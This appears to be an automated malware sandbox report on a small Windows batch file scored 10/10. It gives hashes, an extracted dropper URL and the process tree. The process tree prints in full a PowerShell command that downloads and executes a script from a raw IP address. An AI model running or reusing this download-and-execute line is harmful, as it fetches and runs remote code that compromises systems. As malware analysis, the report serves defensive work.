94d89a44ea5da3649df80f6898cb30415f2df92c0060d36d5f9afa3806862a2a | Triage

Analysis

max time kernel
135s
max time network
70s
platform
windows10_x64
resource
win10v200430
submitted
15-05-2020 20:10

Sharing

Report Analysis Logs

General

Target

74b8e8ad8fe5aea82ec95a707e3c2b94.bat
Size

214B
MD5

220dc0fc858c664ba5223cbab7e4b312
SHA1

94f095bd648c7c3f4845e3c419b74baa7662f2ae
SHA256

94d89a44ea5da3649df80f6898cb30415f2df92c0060d36d5f9afa3806862a2a
SHA512

119c413acb39f51f4d668c5bc48793f60b91717e1623e22d666221c26e78cfa3667e7aa2141b26e15aa3936d86ba498ae280decd9889a77f8706459d0f295772

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/74b8e8ad8fe5aea82ec95a707e3c2b94

Signatures

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe
504	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

504 2576 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 504 WerFault.exe
Token: SeBackupPrivilege 504 WerFault.exe
Token: SeDebugPrivilege 504 WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\74b8e8ad8fe5aea82ec95a707e3c2b94.bat"
1⤵
PID:3844

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/74b8e8ad8fe5aea82ec95a707e3c2b94');Invoke-ZUMTYKU;Start-Sleep -s 10000"
2⤵
PID:2576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2576 -s 704
3⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:504

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/504-0-0x0000000004A40000-0x0000000004A41000-memory.dmp

Filesize
4KB

Download
memory/504-2-0x0000000005170000-0x0000000005171000-memory.dmp

Filesize
4KB

Download